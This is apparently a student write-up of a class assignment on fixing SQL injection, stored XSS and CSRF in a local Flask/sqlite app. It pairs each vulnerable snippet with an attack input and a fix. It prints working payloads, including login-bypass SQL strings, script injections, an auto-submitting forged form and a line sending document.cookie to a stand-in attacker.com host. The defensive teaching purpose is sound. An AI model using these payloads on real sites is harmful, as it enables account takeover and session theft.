惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
T
Threat Research - Cisco Blogs
C
CERT Recently Published Vulnerability Notes
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
L
Lohrmann on Cybersecurity
D
Darknet – Hacking Tools, Hacker News & Cyber Security
K
Kaspersky official blog
C
Cybersecurity and Infrastructure Security Agency CISA
C
Cisco Blogs
V
Vulnerabilities – Threatpost
L
LINUX DO - 热门话题
G
GRAHAM CLULEY
The GitHub Blog
The GitHub Blog
NISL@THU
NISL@THU
AWS News Blog
AWS News Blog
博客园 - 【当耐特】
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
阮一峰的网络日志
阮一峰的网络日志
Cyberwarzone
Cyberwarzone
V
V2EX
Know Your Adversary
Know Your Adversary
P
Palo Alto Networks Blog
月光博客
月光博客
MongoDB | Blog
MongoDB | Blog
Scott Helme
Scott Helme
A
Arctic Wolf
美团技术团队
S
Schneier on Security
P
Proofpoint News Feed
G
Google Developers Blog
The Hacker News
The Hacker News
S
Securelist
Microsoft Security Blog
Microsoft Security Blog
Project Zero
Project Zero
T
The Exploit Database - CXSecurity.com
量子位
T
Threatpost
Spread Privacy
Spread Privacy
Help Net Security
Help Net Security
B
Blog
WordPress大学
WordPress大学
B
Blog RSS Feed
J
Java Code Geeks
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
Blog — PlanetScale
Blog — PlanetScale
Simon Willison's Weblog
Simon Willison's Weblog
Y
Y Combinator Blog
Cloudbric
Cloudbric

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant Common SOC 2 Failures (Real World) Stop Vibe-Checking Your AI App: A Practical Guide to Evals How to Use SonarQube and SonarScanner Locally to Level Up Your Code Quality Your Next To-Do App Is Dead — I Replaced Mine with an OpenClaw AI Sign a Nostr event in 60 lines of Python using coincurve — no nostr-sdk, no nbxplorer, no rust toolchain ITGC Audit Explained Like You’re in Big 4 Patch Tuesday abril 2026: Microsoft parcha 163 vulnerabilidades y un zero-day en SharePoint Stop scraping everything: a better way to track competitor price changes Listing on MCPize + the Official MCP Registry while routing payments OUTSIDE the marketplace — how I kept 100% of my x402 revenue Building an AI-Powered Risk Intelligence System Using Serverless Architecture Why We Ripped Function Overloading Out of Our AI Toolchain Testing AI-Generated Code: How to Actually Know If It Works SaaS Churn Is Killing Your Business. Here Is What to Do About It (Without a Support Team) The Speed of AI Is No Longer Linear - And Self-Improving Models Are Why How to Implement RBAC for MCP Tools: A Practical Guide for Engineering Teams From Standard Quote to Persuasive Proposal: AI Automation for Arborists I built a CLI that scaffolds complete multi-tenant SaaS apps Axios CVE-2025–62718: The Silent SSRF Bug That Could Be Hiding in Your Node.js App Right Now The dashboard that ended our friendship Data Pipelines Explained Simply (and How to Build Them with Python) The Hidden Cost of AI Systems Nobody Talks About. undefined vs undeclared, and how typeof behaves Switching from file-based jobs to NATS/Kafka in Rust without changing code io_uring Adventures: Rust Servers That Love Syscalls Why Agentic AI is Killing the Traditional Database The POUR principles of web accessibility for developers and designers Quantum Neural Network 3D — A Deep Dive into Interactive WebGL Visualization How To Install Caveman In Codex On macOS And Windows Automation Pipeline Reliability: Why Your Workflow Breaks When Nobody Is Watching I Built an 'Open World' AI Coding Agent — It Works From ANY Folder From Freelancing to Product: A Tech Service Company's SaaS Transformation China's AI Giants: Adding Tencent Hunyuan & ByteDance Doubao to AI University (74 Providers) On the Vibe Coders and Their Lies clerk: Auto-Summarize Your Claude Code Sessions AI Weekly — 2026/04/10–04/17 | The Model Lockdown Is Here, but the Toolchain Is the Real Battleground AI 週報 — 2026/04/10–2026/04/17 模型封鎖潮來了,但工具鏈才是真戰場 Maybe this is how Open-Source apps are born... 🚀 Fine-Tune LLMs with LoRA and QLoRA: 2026 Guide tRPC v11 + Next.js App Router: End-to-End Type Safety Without the Boilerplate ShadCN UI in 2026: Why I Stopped Installing Component Libraries and Started Owning My Components SaaS Billing in React Server Components: Stripe + Supabase Without a Single `useEffect` Join our DEV Weekend Challenge — $1,000 in Prizes Across TEN winners! Submissions Due April 20 at 6:59 AM UTC. Implementing FSRS Spaced Repetition in Flutter + Supabase — Adding Memory Science to an AI Learning App "I Texted My Localhost From the Train — Claude Code Fixed the Bug Before I Got Home" I Built a Sales Prep AI and It Went Deeper Than Expected Design to Code #2: One JSON, Eleven Outputs Solving the 100M-Row Problem: A Summary Table Pattern for High-Volume Push Notification Logs Flutter Web With Wasm: What Actually Changes For Developers I Built 50 Royalty-Free Soundtracks for My Side Project in a Weekend Using AI Music Generation The Vibe Coding Security Checklist: 7 Things to Check Before You Ship Stop Letting Googlebot Guess Fix Your React App's SEO Right Desconstruindo o Streaming do LinkedIn: Como Criar um Engine de Extração de Vídeo de Alta Performance com HLS e FFmpeg (EDA Part-1) EDA (Exploratory Data Analysis) Explained With Real Life — Why Looking at Your Data Is the Most Important Step in Machine Learning Brand Relationship Management at Scale: Our 4-Touch Outreach System for 200+ Brands Why String.fromEnvironment() Might Return an Empty String in Dart JGuardrails 1.0.0 — Hardening Java LLM Apps Against Jailbreaks, Toxicity, and Prompt Injection Plan and Schedule a Full Week of Threads Content From One Claude Conversation Coding Cat Oran Ep3, Five Tables Changed Everything Updated: BFF Pattern I'm done watching freelancers get buried by 200 proposals. So I'm building the alternative. This is my first post BFS Algorithm in Java Step by Step Tutorial with Examples Tracking LLM Pricing Monthly: An Open Dataset for 22 AI Models How We Measure Content ROI on a Comparison Site: Revenue Attribution Without Perfect Data Introducing Nova AI Ops: The AI-Native Operating System for SRE Teams I built a free desktop video downloader for Windows — Grabbit How Talkie OCR Helps Vision-Impaired & Dyslexic Users Read the World Around Them VRCFaceTracking安装和iPhone面捕配置教程,有bug Even CrowdStrike Can't See Your Agents The Automation Gold Rush: What n8n Workflows and Claude Are Opening Up for Developers Right Now
MP3 - SQLi, XSS, and CSRF WriteUp
134A6_Thoughts · 2026-05-30 · via DEV Community

Introduction

For Machine Problem 3, our group — Aki, Lark, and Carl — was tasked with finding and fixing security vulnerabilities in a sample web application written in Python (Flask) with sqlite3 as its database. The application has a login page and a posts page where users can view and create their own posts.

Our scope was limited to SQL injection, CSRF, and XSS, though we also fixed related issues we came across. Going through the code, we found seven SQL injection vulnerabilities, two CSRF vulnerabilities, and one XSS vulnerability. Each one is documented below along with the fix we applied.


SQL Injection

The Problem

The original application built SQL queries by concatenating user input directly into query strings. This means an attacker can type SQL code into any input field or manipulate cookies to change what the query does.


SQLi-1 — Login Bypass via Password Field

Vulnerable code:

res = cur.execute("SELECT id from users WHERE username = '"
            + request.form["username"]
            + "' AND password = '"
            + request.form["password"] + "'")

How an attacker does it: On the login page, the attacker enters alice as the username and ' OR '1'='1 as the password. The app pastes the input directly into the query, producing:

WHERE (username = 'alice' AND password = '') OR ('1'='1')

'1'='1' is always true so the database returns alice's row and the attacker is logged in without ever knowing her password.

Fix:

res = cur.execute(
    "SELECT id FROM users WHERE username = ? AND password = ?",
    (request.form["username"], request.form["password"]),
)


SQLi-2 — Login Bypass Without Any Credentials

Vulnerable code: Same as SQLi-1.

How an attacker does it: The attacker enters ' OR 1=1 -- (with a trailing space) as the username and anything as the password. The query becomes:

WHERE username = '' OR 1=1 -- ' AND password = '...'

The -- comments out everything after it, removing the password check entirely. 1=1 is always true so the attacker logs in as the first user in the database without knowing any credentials.

Fix: Same parameterized query as SQLi-1.


SQLi-3 — Targeted User Bypass

Vulnerable code: Same as SQLi-1.

How an attacker does it: If the attacker knows a username, they enter alice' -- as the username and anything as the password. The query becomes:

WHERE username = 'alice' -- ' AND password = '...'

The -- comments out the password check. The database only checks the username, which matches, and the attacker logs in as alice specifically.

Fix: Same parameterized query as SQLi-1.


SQLi-4 — Session Hijack via Cookie

Vulnerable code:

res = cur.execute("SELECT users.id, username FROM users INNER JOIN sessions ON "
                  + "users.id = sessions.user WHERE sessions.token = '"
                  + request.cookies.get("session_token") + "'")

How an attacker does it: The attacker opens DevTools (F12) in a browser where they have never logged in, goes to Application → Cookies → http://localhost:5000, and sets the session_token cookie to ' OR '1'='1. Visiting /home produces:

WHERE sessions.token = '' OR '1'='1'

'1'='1' is always true so the query returns the first active session in the database. The attacker gains access to that user's account without ever logging in.

Fix:

res = cur.execute(
    "SELECT users.id, username FROM users "
    "INNER JOIN sessions ON users.id = sessions.user "
    "WHERE sessions.token = ?",
    (request.cookies.get("session_token"),),
)


SQLi-5 — Post Message Crash

Vulnerable code:

cur.execute("INSERT INTO posts (message, user) VALUES ('"
            + request.form["message"] + "', " + str(user[0]) + ");")

How an attacker does it: The attacker submits any post containing a single quote, such as it's a test. The quote breaks out of the SQL string early, causing a syntax error that crashes the app with a 500 Internal Server Error. The post is never saved and the app becomes unavailable until restarted.


Fix:

cur.execute(
    "INSERT INTO posts (message, user) VALUES (?, ?);",
    (request.form["message"], user[0]),
)

SQLi-6 — Post as Another User via Cookie

Vulnerable code: Same cookie concatenation pattern as SQLi-4 in the /posts route.

How an attacker does it: The attacker sets their session_token cookie to ' OR '1'='1 in DevTools, then submits a post. The session lookup returns the first active session in the database, and the post is saved under that user's account — the attacker posts as another user without knowing their credentials.

Fix: Same parameterized cookie lookup as SQLi-4 applied to /posts.


SQLi-7 — Force Logout via Cookie

Vulnerable code: Same cookie concatenation pattern in /logout.

How an attacker does it: The attacker opens a second browser, sets session_token to ' OR '1'='1 in DevTools, and visits /logout. The injected cookie matches the first active session in the database — alice's session is deleted even though the attacker never knew her token. When alice tries to visit /home she is redirected to login.

Fix: Same parameterized cookie lookup as SQLi-4 applied to /logout.


Root Cause and Fix Summary

All seven vulnerabilities share the same root cause — user input concatenated directly into SQL strings. The fix is the same in every case: use ? placeholders so input is always treated as data, never as SQL.

Test Input Vector Impact
SQLi-1 Password field Login bypass
SQLi-2 Username field Login bypass, no credentials needed
SQLi-3 Username field Targeted login bypass
SQLi-4 Session cookie Session hijack on /home
SQLi-5 Post message Application crash
SQLi-6 Session cookie Post as another user
SQLi-7 Session cookie Force logout of any user

XSS (Cross-Site Scripting)

The Problem

The | safe filter in home.html disabled Jinja2's automatic HTML escaping on post content. Because posts are stored in the database and displayed to every user who visits the home page, an attacker can inject HTML or JavaScript that executes in the browser of anyone who views it — this is called a Stored XSS vulnerability.

Vulnerable code:

<li>{{ post[0] | safe }}</li>


XSS-1 — HTML Injection (Proof of Concept)

How an attacker does it: The attacker submits <b>hello</b> as a post. Instead of displaying the text literally, the browser renders it as bold — hello. This confirms the browser is executing raw HTML from post content, meaning any tag including <script> will also work.

XSS-2 — Script Injection

How an attacker does it: The attacker submits <script>alert('xss')</script> as a post. Every time any user loads the home page, the script executes in their browser and an alert box fires. Because the post is stored in the database, the attack persists and affects every user — not just the attacker.

XSS-3 — Cookie Theft

How an attacker does it: The attacker submits <script>alert(document.cookie)</script> as a post. The script reads the victim's session_token from document.cookie and displays it. In a real attack the alert would be replaced with a silent redirect that sends the cookie to the attacker's own server:

<script>document.location='http://attacker.com?c='+document.cookie</script>

With the stolen session token the attacker can log in as the victim without ever knowing their password.


Fix

In home.html — remove the | safe filter:

<li>{{ post[0] }}</li>

In app.py — add httponly=True to the session cookie so JavaScript cannot read it even if a script somehow runs:

response.set_cookie("session_token", token, httponly=True)

Jinja2 now escapes all HTML characters before sending them to the browser — <script> becomes &lt;script&gt; and is displayed as plain text. The HttpOnly flag ensures the session token is never accessible via document.cookie, limiting the damage of any XSS that may be found elsewhere.


CSRF (Cross-Site Request Forgery)

The Problem

The original application had no CSRF protection. Every form accepted POST requests without verifying they came from the app itself. Since the browser automatically attaches the session cookie to every request — including ones triggered by other sites — an attacker can perform actions on behalf of a logged-in user just by getting them to visit a malicious page.


CSRF-1 — Forged Post Creation

How an attacker does it: The attacker creates a page with a hidden form that auto-submits to /posts:

<body onload="document.forms[0].submit()">
  <form action="http://localhost:5000/posts" method="POST">
    <input name="message" value="forged post from attacker">
  </form>
</body>

When a logged-in user visits this page, the browser automatically submits the form and sends the session cookie along with it. The app accepts the request as legitimate and creates a post in the victim's account without their knowledge.


CSRF-2 — Forced Logout

How an attacker does it: The attacker embeds an image tag on any page:

<img src="http://localhost:5000/logout">

When a logged-in user views the page, the browser sends a GET request to /logout — including the session cookie. The app logs the victim out silently, without them ever clicking the logout button.


Fix

We observed that secrets was already imported in the original app.py for generating session tokens. We reused it alongside Flask's built-in session to implement manual CSRF protection with no extra dependencies.

In app.py — add session to imports and set a secret key:

from flask import Flask, request, render_template, redirect, session
app.secret_key = "yoursecretkey"

Generate a token on every page load that renders a form:

session["csrf_token"] = secrets.token_hex()
return render_template("login.html", csrf_token=session["csrf_token"])

Validate the token at the start of every POST route:

if request.form.get("csrf_token") != session.get("csrf_token"):
    return "CSRF token invalid", 400

Change logout from GET to POST so it cannot be triggered by a link or image tag:

@app.route("/logout", methods=["POST"])

In both templates — add a hidden token field inside every form:

<input type="hidden" name="csrf_token" value="{{ csrf_token }}">

Replace the logout link in home.html with a POST form:

<form method="post" action="/logout">
  <input type="hidden" name="csrf_token" value="{{ csrf_token }}">
  <input type="submit" value="Logout">
</form>

A forged request from another site cannot include the correct token because it is randomly generated on each page load and stored in the victim's session — which the attacker has no access to. Without the token the server returns HTTP 400 and the request is rejected.